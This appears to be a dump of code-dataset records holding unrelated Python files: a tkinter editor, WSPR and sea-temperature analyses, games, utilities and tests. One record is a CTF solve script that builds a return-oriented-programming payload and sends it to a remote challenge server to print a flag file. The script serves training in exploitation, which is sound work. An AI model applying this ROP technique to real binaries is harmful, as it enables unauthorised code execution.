Editor')\n\nmenubar=tkinter.Menu()\nfilemen=tkinter.Menu()\nviewmen=tkinter.Menu()\neditmen=tkinter.Menu()\ncolourmen=tkinter.Menu()\n\nmenubar.add_cascade(menu=filemen, label='File')\nmenubar.add_cascade(menu=viewmen, label='View')\nmenubar.add_cascade(menu=editmen, label='Edit')\neditmen.add_cascade(menu=colourmen, label='Colour selected')\n\nfilemen.add_command(label='Close', command=lambda:root.destroy())\nfilemen.add_separator()\nfilemen.add_command(label='Save', command=lambda:save())\nfilemen.add_command(label='Save as', command=lambda:saveas())\nfilemen.add_command(label='Open', command=lambda:openfile())\n\nviewmen.add_command(label='toggle fullscreen', command=lambda:ftoggle())\n\ncolourmen.add_command(label='Black', command=lambda:blackselected())\ncolourmen.add_command(label='red', command=lambda:redselected())\ncolourmen.add_command(label='green', command=lambda:greenselected())\ncolourmen.add_command(label='Blue', command=lambda:blueselected())\ncolourmen.add_command(label='hacking style', command=lambda:hackselected())\n\neditmen.add_command(label='clear all colours', command=lambda:clearallcoloures())\n\nroot.config(menu=menubar)\n\nscroller=tkinter.Scrollbar(root)\nscroller.pack(side=tkinter.RIGHT, fill='y')\nscrollerx=tkinter.Scrollbar(root, orient=tkinter.HORIZONTAL)\nscrollerx.pack(side=tkinter.BOTTOM, fill='x')\n\ntext=tkinter.Text(root, yscrollcommand=scroller.set, xscrollcommand=scrollerx.set, wrap='none')\ntext.pack(fill='both')\n\ntkinter.Button(root, text = 'Run python', height=2, compound=tkinter.LEFT, command=lambda:runpy()).pack(side=tkinter.BOTTOM, fill='x') \nscroller.config(command=text.yview)\nscrollerx.config(command=text.xview)\n\n\nroot.mainloop()\n\n","sub_path":"TSARED/1.3/TSARED.py","file_name":"TSARED.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"124094905","text":"#!/usr/bin/env python3\n\nfrom pwn import *\nfrom typing import Union, List\n\nelf = ELF(\"./challenge\", checksec=False)\n\ndef get_gadget(elf: ELF, instructions: Union[list, tuple]) -> bytes:\n gadget = ROP(elf).find_gadget(instructions)\n return p64(gadget.address)\n\ndef search_strings(elf: ELF, string: Union[bytes, str]) -> List[bytes]:\n strings = elf.search(bytes(string, 'ascii'))\n return [p64(s) for s in strings]\n\npayload = cyclic(40)\npayload += get_gadget(elf, ['pop rdi', 'ret'])\npayload += search_strings(elf, 'flag.txt')[0]\npayload += p64(elf.symbols.print_file)\n\np = remote('poctf-beta.poc-innovation.com', 1101)\n\np.sendline(payload)\n\nprint(p.recvall())\n","sub_path":"Challenges/ROP/abuse_me/build/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"542197717","text":"import sys\nfrom numpy import *\n\ndef read_input(file):\n\tfor line in file:\n\t\tyield line.strip()\n\ninput = read_input(sys.stdin)\ninput = [float(x) for x in input]\nnumInputs = len(input)\ninputMat = mat(input)\nsqInput = power(input,2)\n\nprint('%d\\t%f\\t%f'%(numInputs,mean(input),mean(sqInput)))\n# sys.stderr is abandon in py3.*\n# print(sys.stderr,'report: Still alive')","sub_path":"ml_code/ch15/mrMeanMapper.py","file_name":"mrMeanMapper.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"5376768","text":"import io\nimport json\nimport re\nfrom datetime import datetime\nfrom typing import Dict\n\nimport cherrypy\nfrom girder.api.rest import setContentDisposition, setRawResponse, setResponseHeader\nfrom girder.models.file import File\nfrom girder.models.folder import Folder\nfrom girder.models.item import Item\nfrom girder.models.upload import Upload\n\nfrom viame_server.serializers import viame\n\nImageSequenceType = \"image-sequence\"\nVideoType = \"video\"\n\nwebValidImageFormats = {\"png\", \"jpg\", \"jpeg\"}\nvalidImageFormats = {*webValidImageFormats, \"tif\", \"tiff\", \"sgi\", \"bmp\", \"pgm\"}\nvalidVideoFormats = {\"mp4\", \"avi\", \"mov\", \"mpg\"}\n\nvideoRegex = re.compile(\"(\\.\" + \"|\\.\".join(validVideoFormats) + ')$', re.IGNORECASE)\nimageRegex = re.compile(\"(\\.\" + \"|\\.\".join(validImageFormats) + ')$', re.IGNORECASE)\nsafeImageRegex = re.compile(\n \"(\\.\" + \"|\\.\".join(webValidImageFormats) + ')$', re.IGNORECASE\n)\ncsvRegex = re.compile(\"\\.csv$\", re.IGNORECASE)\nymlRegex = re.compile(\"\\.ya?ml$\", re.IGNORECASE)\n\nImageMimeTypes = {\n \"image/png\",\n \"image/jpeg\",\n \"image/tiff\",\n \"image/bmp\",\n \"image/x-portable-anymap\",\n \"image/x-portable-bitmap\",\n \"image/x-portable-graymap\",\n \"image/x-rgb\",\n}\n\nVideoMimeTypes = {\n \"video/mpeg\",\n \"video/mp4\",\n \"video/quicktime\",\n \"video/x-msvideo\",\n}\n\n# Ad hoc way to guess the FPS of an Image Sequence based on file names\n# Currently not being used, can only be used once you know that all items\n# have been imported.\ndef determine_image_sequence_fps(folder):\n items = Item().find({\"folderId\": folder[\"_id\"]})\n\n start = None\n current = None\n\n item_length = 0\n for item in items:\n item_length += 1\n name = item[\"name\"]\n\n try:\n _, two, three, four, _ = name.split(\".\")\n seconds = two[:2] * 3600 + two[2:4] * 60 + two[4:]\n\n if not start:\n start = int(seconds)\n current = int(seconds)\n\n except ValueError:\n if \"annotations.csv\" not in name:\n return None\n\n total = current - start\n return round(item_length / total)\n\n\ndef get_or_create_auxiliary_folder(folder, user):\n return Folder().createFolder(folder, \"auxiliary\", reuseExisting=True, creator=user)\n\n\ndef move_existing_result_to_auxiliary_folder(folder, user):\n auxiliary = get_or_create_auxiliary_folder(folder, user)\n\n existingResultItems = Item().find(\n {\"meta.detection\": str(folder[\"_id\"]), \"folderId\": folder[\"_id\"]}\n )\n for item in existingResultItems:\n Item().move(item, auxiliary)\n\n\ndef itemIsWebsafeVideo(item: Item) -> bool:\n return item.get(\"meta\", {}).get(\"codec\") == \"h264\"\n\n\ndef getTrackData(file: File) -> Dict[str, dict]:\n if file is None:\n return {}\n if \"csv\" in file[\"exts\"]:\n return viame.load_csv_as_tracks(\n b\"\".join(list(File().download(file, headers=False)()))\n .decode(\"utf-8\")\n .splitlines()\n )\n return json.loads(b\"\".join(list(File().download(file, headers=False)())).decode())\n\n\ndef saveTracks(folder, tracks, user):\n timestamp = datetime.now().strftime(\"%m-%d-%Y_%H:%M:%S\")\n item_name = f\"result_{timestamp}.json\"\n\n move_existing_result_to_auxiliary_folder(folder, user)\n newResultItem = Item().createItem(item_name, user, folder)\n Item().setMetadata(newResultItem, {\"detection\": str(folder[\"_id\"])}, allowNull=True)\n\n json_bytes = json.dumps(tracks).encode()\n byteIO = io.BytesIO(json_bytes)\n Upload().uploadFromFile(\n byteIO,\n len(json_bytes),\n item_name,\n parentType=\"item\",\n parent=newResultItem,\n user=user,\n mimeType=\"application/json\",\n )\n","sub_path":"server/viame_server/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"205536001","text":"\"\"\"\n4834. [파이썬 S/W 문제해결 기본] 1일차 - 숫자 카드\n\n0에서 9까지 숫자가 적힌 N장의 카드가 주어진다.\n\n가장 많은 카드에 적힌 숫자와 카드가 몇 장인지 출력하는 프로그램을 만드시오. 카드 장수가 같을 때는 적힌 숫자가 큰 쪽을 출력한다.\n\n\n \n\n[입력]\n \n\n첫 줄에 테스트 케이스 개수 T가 주어진다. ( 1 ≤ T ≤ 50 )\n\n다음 줄부터 테스트케이스의 첫 줄에 카드 장수 N이 주어진다. ( 5 ≤ N ≤ 100 )\n\n다음 줄에 N개의 숫자 ai가 여백없이 주어진다. (0으로 시작할 수도 있다.) ( 0 ≤ ai ≤ 9 ) \n\n \n\n[출력]\n \n\n각 줄마다 \"#T\" (T는 테스트 케이스 번호)를 출력한 뒤, 가장 많은 카드의 숫자와 장 수를 차례로 출력한다.\n\n\n\"\"\"\nimport sys\nsys.stdin = open('input.txt','r')\n\ndef countCard(N,ai):\n countlist = [0 for i in range(10)]\n Max_num = int(ai[0])\n for a in ai:\n i = int(a)\n countlist[i] += 1\n if countlist[Max_num] < countlist[i]:\n Max_num = i\n # 실수한 부분\n # 제약 조건은 꼼꼼히 읽어보자\n elif countlist[Max_num] == countlist[i]:\n Max_num = i if Max_num < i else Max_num\n else:\n pass\n \n return Max_num, countlist[Max_num]\n\nT = int(input())\nfor t in range(1, 1+T):\n N = int(input())\n ai = input()\n num, value = countCard(N,ai)\n print(f\"#{t} {num} {value}\")","sub_path":"OnlineJudge/SWExpertAcademy/InterMediate/01/im1901154834.py","file_name":"im1901154834.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"588439452","text":"alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzАБВГДЕЄЖЗИІЇКЛМНОПРСТУФХЦЧШЩЬЮЯабвгдеєжзиіїклмнопрстухфцчшщьюя0123456789'\r\na = input('Введіть ваше речення:')\r\nkey = int(input(\"Введіть ключ(1-25): \"))\r\nb = \"\"\r\nfor letter in a :\r\n position = alphabet.find(letter)\r\n newPosition = position + key\r\n if letter in alphabet:\r\n b = b + alphabet[newPosition]\r\n else:\r\n b = b + letter\r\nprint(\"Зашифроване речення -\", b)\r\n","sub_path":"с2.py","file_name":"с2.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"50698318","text":"'''\r\nCreated on 2012-2-26\r\n\r\n@author: wenxianw\r\n'''\r\nfrom libs.myLib import myPrint\r\nfrom libs.anaTraceUtility import getLogListByRIClass, filterLine,\\\r\n getClassNameList, DEFAULT_FILTER_LOG_PF_CLASS_LIST\r\nfrom libs.repItemPf import RepItemPf\r\n\r\nDESCRIPTION = \"Analysis Platform Log\"\r\n\r\ndef anaTraceFunc(logDir, modDir=\".\"):\r\n riClassList = DEFAULT_FILTER_LOG_PF_CLASS_LIST\r\n acceptClassList = []\r\n allClassList = riClassList + acceptClassList\r\n for logPath in getLogListByRIClass(allClassList, RepItemPf.BRD_TYPE_OMCP, modDir):\r\n logPath = logDir + logPath\r\n ignoreItemList = [\"FM_MINOR_ERROR\"]\r\n lineList = filterLine(\r\n logPath, \r\n preReStrList = getClassNameList(riClassList),\r\n ignoreStrList = ignoreItemList,\r\n )\r\n myPrint(\"\".join(lineList))\r\n \r\nif __name__ == '__main__':\r\n from libs.myLib import mySetLogFlag \r\n mySetLogFlag(False)","sub_path":"project/python/abs-analysisTrace/src/libs/anaTrace_LogPf.py","file_name":"anaTrace_LogPf.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"165949611","text":"from tkinter import *\nimport tkinter.messagebox\n\ndef checked(i) :\n global player\n button = list[i]\n win = ((0,1,2),(3,4,5),(6,7,8),(0,3,6),(1,4,7),(2,5,8),(0,4,8),(2,4,6))\n \n\n if button[\"text\"] != \" \" :\n return\n button[\"text\"] = player \n button[\"bg\"] = \"yellow\"\n\n for a in win:\n if player == list[a[0]][\"text\"] == list[a[1]][\"text\"] == list[a[2]][\"text\"]:\n tkinter.messagebox.showinfo(\"게임종료\", \"{0}가 이겼습니다!\".format(player))\n quit()\n\n if player == \"X\" :\n player = \"O\"\n button[\"bg\"] = \"yellow\"\n else :\n player = \"X\"\n button[\"bg\"] = \"lightgreen\"\n\ndef quit():\n for b in list:\n b[\"command\"] = \"\"\n\nwindow = Tk()\nplayer = \"X\"\nlist= []\n\nfor i in range(9) :\n b = Button(window, text=\" \", command=lambda k=i: checked(k))\n b.grid(row=i//3, column=i%3)\n list.append(b)\n\nwindow.mainloop()\n\n\n","sub_path":"tic-tac-toe.py","file_name":"tic-tac-toe.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"307513871","text":"__author__ = 'jelte'\nimport math\nfrom pprint import pprint\n\nimport numpy as np\n\n\np_type_dict = { 'i-type': [1, 18, None, None ],\n 'V-type': [1, 93.6, None, None ],\n 'L-type': [2, 18, 79.2, 41.4 ],\n 'I-type': [2, 18, 18, 162 ],\n 'T-type': [1, 180, None, None ],\n 'Y-type': [2, 93.6, 18, 124.2],\n 'X-type': [2, 93.6, 93.6, 86.4 ] }\n\nclass Pattern:\n def __init__(self, p_type, rotation, p_type_dict):\n self.p_type = p_type\n self.rotation = rotation\n self.bounds = self.zones = self.s1 = self.s2 = self.d = None\n\n self.p_type_dict = p_type_dict\n\n if self.p_type_dict[self.p_type][0] == 1:\n [_, s1, _, _] = self.p_type_dict[self.p_type]\n min = self.rotation%360\n max = (self.rotation+s1)%360\n if max == 0: max = 360\n self.bounds = [min,max]\n\n elif self.p_type_dict[self.p_type][0] == 2:\n [_, s1, s2, d] = self.p_type_dict[self.p_type]\n min1 = self.rotation%360\n max1 = (min1+s1)%360\n min2 = (max1+d)%360\n max2 = (min2+s2)%360\n if max1 == 0: max1 = 360\n if max2 == 0: max2 = 360\n self.bounds = [min1,max1,min2,max2]\n\n def __str__(self):\n return 'Pattern:\\t'\\\n +self.p_type\\\n +'\\nRotation:\\t'\\\n +str(self.rotation)\\\n + '\\nBoundaries:\\t'\\\n +str(self.bounds)\\\n +'\\n'+'-'*20+'\\n'\n\ndef compute_harmony(input, patterns):\n \"\"\"\n compute color harmony for each of the patterns\n :param input: list of tuples (H,S,V) for each input color\n :param patterns: [[patterntype1 #1, patterntype1 #2...][[patterntype2 #1, patterntype2 #2...]....]\n :return: a sorted list of pattern type and the closes rotation that fits the color input\n \"\"\"\n min_dist = [[None, None, 0]]*len(patterns)\n i = 0\n\n for pattern_type in patterns:\n t = pattern_type[0]\n if t in ['L-type', 'I-type', 'Y-type', 'X-type']:\n for p in pattern_type:\n p_dist = 0\n\n for (h, s, _v) in input:\n if (p.bounds[0] <= h <= p.bounds[1]) or (p.bounds[2] <= h <= p.bounds[3]):\n min_b_dist = 0\n else:\n min_b_dist = None\n\n for b in p.bounds:\n angle_dist = abs(h-b)\n arc_dist = math.radians(angle_dist)\n b_dist = arc_dist * s\n\n if (min_b_dist == None) or b_dist < min_b_dist:\n min_b_dist = b_dist\n\n p_dist += min_b_dist\n\n if (min_dist[i][1] == None) or p_dist < min_dist[i][2]:\n min_dist[i] = [p.p_type, p.rotation, p_dist]\n\n else:\n for p in pattern_type:\n p_dist = 0\n for (h, s, _v) in input:\n if p.bounds[0] <= h <= p.bounds[1]:\n min_b_dist = 0\n else:\n min_b_dist = None\n\n for b in p.bounds:\n angle_dist = abs(h-b)\n arc_dist = math.radians(angle_dist)\n b_dist = arc_dist * s\n\n if (min_b_dist == None) or b_dist < min_b_dist:\n min_b_dist = b_dist\n\n p_dist += min_b_dist\n\n if (min_dist[i][1] == None) or p_dist < min_dist[i][2]:\n min_dist[i] = [p.p_type, p.rotation, p_dist]\n i += 1\n\n #return sorted(min_dist, key = lambda x: str(x[0]).lower())\n return sorted(min_dist, key = lambda x: x[2])\n\ndef init():\n \"\"\"\n builds a list of patterns. number of rotations depends on angle of pattern surface, but is at least 10\n :return:\n \"\"\"\n patterns = []\n for t in p_type_dict.keys():\n # n_rot = (p_type_dict[t][1])\n # if (360/n_rot) < 10: n_rot = 36\n n_rot = 1\n rot = np.arange(0, 360, n_rot)\n patterns.append([Pattern(t,r, p_type_dict) for r in rot])\n\n return patterns\n\ndef color_harmony(input):\n patterns = init()\n output = compute_harmony(input, patterns)\n # for p in output:\n # print p\n return output\n\nif __name__ == '__main__':\n input = [(12,1,0), (16,1,0), (32,1,0), (323,1,0), (180,1,0), (182,1,0)]\n pprint(color_harmony(input))\n\n\n\n\n\n\n\n\n\n","sub_path":"DashboardTool/color_harmonization.py","file_name":"color_harmonization.py","file_ext":"py","file_size_in_byte":4570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"143072947","text":"##입력받은 함수를 이진수로 바꿔주는 함수\ndef chbinary(input):\n minar=[]\n for i in range(len(input)):\n num=int(input[i])\n c=\"\"\n while(int(num/2)!=0):\n if(num%2==1):\n c=\"1\"+c;\n num=int(num/2);\n else:\n c=\"0\"+c;\n num=int(num/2);\n c=str(num)+c\n minar.append(c)\n minar=binarysize(minar)\n return minar\n\n##리스트안의 이진수의 사이즈를 맞추는 ��수\ndef binarysize(input):\n max=0\n for i in range(len(input)):\n if maxlen(input[i]):\n c=input[i]\n while(max!=len(c)):\n c=\"0\"+c\n input[i]=c\n return input\n\n##한글자가 다르면 그 글자를 -로 바꾸는 함수\ndef merge(input):\n minar=[]\n epi=[]\n nepi=[]\n for i in range(len(input)):\n for j in range(len(input)):\n cnt=0\n cnt2=0\n c=\"\"\n for k in range(len(input[0])):\n if input[i][k]!=input[j][k]:\n cnt+=1\n if cnt>=2:\n break;\n else:\n continue\n if cnt==1:\n for k in range(len(input[0])):\n if input[i][k]!=input[j][k]:\n c+=\"-\"\n else:\n c+=input[i][k]\n minar.append(c)\n cnt2+=1\n if cnt2==1 and j==len(input)-1:\n epi.append(c)\n elif cnt2>=2 and j==len(input)-1:\n nepi.append(c)\n epi2=epi\n nepi2=nepi\n epi=[]\n nepi=[]\n for i in range(len(epi2)):\n if epi2[i] in epi:\n continue\n else:\n epi.append(epi2[i])\n for k in range(len(nepi2)):\n if nepi2[i] in nepi:\n continue\n else:\n nepi.append(nepi2[i])\n minar=[\"epi\"]\n for i in range(len(epi)):\n minar.append(epi[i])\n minar.append(\"nepi\")\n for i in range(len(nepi)):\n minar.append(nepi[i])\n\n return minar\ninput=[3, 6, 0, 1, 2, 5, 6, 7]\nprint(merge(chbinary(input)))\n","sub_path":"과제/논리회로.py","file_name":"논리회로.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"475223855","text":"# Copyright 2023 Iguazio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport numpy as np\nimport pandas as pd\nimport plotly.graph_objects as go\n\nfrom mlrun import get_or_create_ctx\nfrom mlrun.artifacts import PlotlyArtifact\n\n\ndef my_job(context, p1=1, p2=\"x\"):\n # load MLRUN runtime context (will be set by the runtime framework e.g. KubeFlow)\n\n # get parameters from the runtime context (or use defaults)\n\n # access input metadata, values, files, and secrets (passwords)\n print(f\"Run: {context.name} (uid={context.uid})\")\n print(f\"Params: p1={p1}, p2={p2}\")\n print(f\"accesskey = {context.get_secret('ACCESS_KEY')}\")\n input_str = context.get_input(\"infile.txt\", \"infile.txt\").get()\n print(f\"file\\n{input_str}\\n\")\n\n # Run some useful code e.g. ML training, data prep, etc.\n\n # log scalar result values (job result metrics)\n context.log_result(\"accuracy\", p1 * 2)\n context.log_result(\"loss\", p1 * 3)\n context.set_label(\"framework\", \"sklearn\")\n\n # log various types of artifacts (file, web page, table), will be versioned and visible in the UI\n context.log_artifact(\n \"model\",\n body=b\"abc is 123\",\n local_path=\"model.txt\",\n labels={\"framework\": \"xgboost\"},\n )\n context.log_artifact(\n \"html_result\", body=b\" Some HTML \", local_path=\"result.html\"\n )\n\n # create a chart output (will show in the pipelines UI)\n # create a plotly output (will show in the pipelines UI)\n x = np.arange(10)\n\n fig = go.Figure(data=go.Scatter(x=x, y=x**2))\n\n plot = PlotlyArtifact(figure=fig, key=\"plotly\")\n context.log_artifact(plot)\n\n raw_data = {\n \"first_name\": [\"Jason\", \"Molly\", \"Tina\", \"Jake\", \"Amy\"],\n \"last_name\": [\"Miller\", \"Jacobson\", \"Ali\", \"Milner\", \"Cooze\"],\n \"age\": [42, 52, 36, 24, 73],\n \"testScore\": [25, 94, 57, 62, 70],\n }\n df = pd.DataFrame(raw_data, columns=[\"first_name\", \"last_name\", \"age\", \"testScore\"])\n context.log_dataset(\"mydf\", df=df, stats=True)\n\n\nif __name__ == \"__main__\":\n context = get_or_create_ctx(\"train\")\n p1 = context.get_param(\"p1\", 1)\n p2 = context.get_param(\"p2\", \"a-string\")\n my_job(context, p1, p2)\n","sub_path":"tests/system/examples/basics/assets/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"270508645","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@project: NASA Space Apps 2019 - Rising Water\n@script: Create Heatmap of GHRSST Dataset\n@datetime: Sat Oct 19 11:36:40 2019\n@author: Zi Huang\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom netCDF4 import Dataset\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom pprint import pprint\n#from wrf import getvar\n\n# =============================================================================\n# Load Data\n# =============================================================================\n\nnc_sst = Dataset('dataset/GHRSST/20080401-NAVO-L4HR1m-GLOB-v01-fv01_0-K10_SST.nc', 'r')\nnc_airtemp = Dataset('dataset/GHRSST/data_2.nc', 'r')\nnc_sealevel = Dataset('dataset/GHRSST/SRL_OPRSSHA_2PTS008_0128_20131118_161158_20131118_175144.EUM.nc', 'r')\n\n#nc_var = nc_sst.variables\n#nc_var_keys = nc_var.keys()\n\n#nc_data = nc_var['analysed_sst'][:].data # Masked array data\n#nc_mask = nc_var['analysed_sst'][:].mask # Masked array\n\n# =============================================================================\n# Data Analysis\n# =============================================================================\n\ndef plot_2darray(array_2d, plot_title='Sea Surface Temperature'):\n \"\"\" Function takes in 2d array and plots a colour map.\n \"\"\"\n fig = plt.figure(figsize=(6, 3.2))\n custom_axes = [0, 360, -90, 90] # Manually set lat/lon\n\n ax = fig.add_subplot(111)\n ax.set_title(plot_title)\n # Cmap style: https://matplotlib.org/3.1.0/tutorials/colors/colormaps.html (add _r to reverse the colour)\n plt.imshow(array_2d, cmap=plt.cm.RdBu_r, interpolation='none', extent=custom_axes)\n ax.set_aspect('equal')\n \n # Modify colour bar\n if 0:\n divider = make_axes_locatable(ax)\n cax = divider.new_vertical(size=\"5%\", pad=1.0, pack_start=True)\n \n # Colour bar\n plt.colorbar(orientation='vertical', aspect=15)\n \n plt.ylabel('Lattitude')\n plt.xlabel('Longitude')\n plt.show()\n\n# =============================================================================\n# Local Session\n# =============================================================================\n\nif __name__ == '__main__':\n \n print('-> Start Session...\\n')\n \n if 0:\n data_2d_arr = nc_sst.variables['analysed_sst'][:].data[0]\n plot_2darray(data_2d_arr, plot_title='Sea Surface Temperature')\n else:\n data_2d_arr = nc_airtemp.variables['TMP_L105'][:][0]\n plot_2darray(data_2d_arr, plot_title='Atmospheric Temperature')\n \n # Sea level plots\n plt.subplot(2,2,1)\n plt.title('lon')\n plt.plot(nc_sealevel.variables['lon'][:])\n plt.subplot(2,2,2)\n plt.title('lat')\n plt.plot(nc_sealevel.variables['lat'][:])\n plt.subplot(2,2,3)\n plt.title('ssha_dyn')\n plt.plot(nc_sealevel.variables['ssha_dyn'][:])\n plt.subplot(2,2,4)\n plt.title('wind_speed_alt_jpl')\n plt.plot(nc_sealevel.variables['wind_speed_alt_jpl'][:])\n plt.show()\n \n print('\\n-> Session End.')\n \n ","sub_path":"nasaspaceapps_risingwater.py","file_name":"nasaspaceapps_risingwater.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"151841657","text":"import tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport time\n\nimport pdb #Equivalent of keyboard in MATLAB, just add \"pdb.set_trace()\"\n\n###############################################################################\n# Neumann #\n###############################################################################\nclass SolveFEMPoissonHeatLinearAssembled:\n def __init__(self, options, filepaths,\n obs_indices,\n forward_matrix, mass_matrix,\n load_vector):\n\n #=== Defining Attributes ===#\n self.options = options\n self.filepaths = filepaths\n self.obs_indices = tf.cast(obs_indices, tf.int32)\n self.forward_matrix = forward_matrix\n self.mass_matrix = mass_matrix\n self.load_vector = load_vector\n\n def solve_pde(self, parameters):\n #=== Solving PDE ===#\n rhs = tf.linalg.matmul(\n tf.expand_dims(parameters[0,:], axis=0), tf.transpose(self.mass_matrix))\\\n + tf.transpose(self.load_vector)\n state = tf.linalg.matmul(rhs, tf.transpose(self.forward_matrix))\n for n in range(1, parameters.shape[0]):\n rhs = tf.linalg.matmul(\n tf.expand_dims(parameters[n,:], axis=0), tf.transpose(self.mass_matrix))\\\n + tf.transpose(self.load_vector)\n solution = tf.linalg.matmul(rhs, tf.transpose(self.forward_matrix))\n state = tf.concat([state, solution], axis=0)\n\n #=== Generate Measurement Data ===#\n if self.options.obs_type == 'obs':\n state_obs = tf.gather(state, self.obs_indices, axis=1)\n return tf.squeeze(state_obs)\n else:\n return state\n","sub_path":"codes/projects/poisson_linear_2d/utils_project/solve_fem_poisson_heat_linear_assembled.py","file_name":"solve_fem_poisson_heat_linear_assembled.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"200292850","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 2 06:39:55 2018\n\n@author: wb6yaz - gregg\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom datetime import datetime\nimport paramiko\n# from matplotlib.dates import DayLocator, HourLocator, DateFormatter, drange\n#import matplotlib.dates as dates\n\n#%%\nmygs = 'FN20'\nband = 'All'\ncallsign = 'WB6YAZ'\nantenna = 'EWFD'\ndmin = 211130 \ndmax = 211204\ntmin = 0\ntmax = 2359\nsearchgrid = 'DM'\n\n\n# fname = 'C:\\\\users\\\\gregg\\\\Documents\\\\Python\\\\wspr_analysis\\\\ALL_WSPR.TXT'\nfname = r'C:\\users\\gregg\\Documents\\Python\\wspr_analysis\\ALL_WSPR_ewfd_120421.TXT'\nf=open(fname)\n\ntxt=f.read()\n\n#%%\n\ndates=[]\ntime=[]\nn0=[]\nsnr=[]\ndrift=[]\nfreq=[]\ncall=[]\ngs=[]\npwr=[]\nn1=[]\nn2=[]\nn3=[]\nn4=[]\nn5=[]\n\ni=0\n\nallLN=txt.splitlines(); # split by row\nfor ln in allLN: # for every line\n tmp=ln.split()\n str_list = list(filter(None, tmp))#remove spaces\n if(len(str_list) >= 17):\n dates.append(float(str_list[0]))\n# dates.append(str_list[0])\n time.append(float(str_list[1]))\n# time.append(str_list[1])\n snr.append(float(str_list[2]))\n drift.append(str_list[3])\n freq.append(float(str_list[4]))\n call.append(str_list[5])\n gs.append(str_list[6])\n pwr.append(str_list[7])\n n1.append(str_list[8])\n n2.append(str_list[9])\n n3.append(str_list[10])\n elif(len(str_list)) < 17:\n print('bad line =',str_list)\n i=i+1\nprint('number of datapoints =',i)\nf.close()\nprint('Number of skipped datapoints =',i-len(n3))\n\n#datetimestr = []\n\n#for i in range(0,len(dates)):\n# dates1.append(str(dates[i])[0:6])\n# time1.append(str(time[i])[0:4])\n# datetimestr.append(str(dates[i])[0:6] + '%04.0f'% time[i])\n \n#%%\n#gpsloc= [locator_to_latlong(n) for n in gs]\n#pts=[Point(gpspoint[1],gpspoint[0]) for gpspoint in gpsloc]\n#d={'dates': dates,'time':time,'snr':snr,'drift':drift,'freq':freq,'call':call,'gs':gs,'pwr':pwr,'gpsLoc':gpsloc,'pts':pts}\nd1={'dates': dates,'time':time,'snr':snr,'drift':drift,'freq':freq,'call':call,'gs':gs,'pwr':pwr}\n#wspr=pd.DataFrame(data=d)\nwspr1=pd.DataFrame(data=d1)\n\nxdt = []\nxdt1 = []\n\nfor i in range(len(wspr1)):\n xdt = str(wspr1.dates.iat[i])[0:6] + '%04.0f' % wspr1.time.iat[i]\n xdt1.append(datetime.strptime(xdt, \"%y%m%d%H%M\"))\n \nwspr2 = wspr1.assign(date_time=xdt1)\nwspr2gs = wspr2.gs.str.slice(0,2).astype('string')\n\n# wspr2 = wspr1.assign(date_time_str=str(xdt))\n\ndf630m = wspr2.loc[(wspr2.freq < 0.48) & (wspr2.freq > 0.47) & (wspr2gs == searchgrid)]\ndf160m = wspr2.loc[(wspr2.freq < 1.9) & (wspr2.freq > 1.8) & (wspr2gs == searchgrid)]\ndf80m = wspr2.loc[(wspr2.freq < 3.6) & (wspr2.freq > 3.5) & (wspr2gs == searchgrid)]\ndf40m = wspr2.loc[(wspr2.freq < 7.1) & (wspr2.freq > 6.9) & (wspr2gs == searchgrid)]\ndf20m = wspr2.loc[(wspr2.freq < 14.1) & (wspr2.freq > 13.9) & (wspr2gs == searchgrid)]\ndf15m = wspr2.loc[(wspr2.freq < 21.1) & (wspr2.freq > 21.0) & (wspr2gs == searchgrid)] \ndf10m = wspr2.loc[(wspr2.freq < 28.2) & (wspr2.freq > 28.0) & (wspr2gs == searchgrid)]\n\n\nprint('No of 630m points = ', len(df630m))\nprint('No of 160m points = ', len(df160m))\nprint('No of 80m points = ', len(df80m))\nprint('No of 40m points = ', len(df40m))\nprint('No of 20m points = ', len(df20m))\nprint('No of 15m points = ', len(df15m))\nprint('No of 10m points = ', len(df10m))\n\n# df40m.plot(kind='scatter', x='date_time', 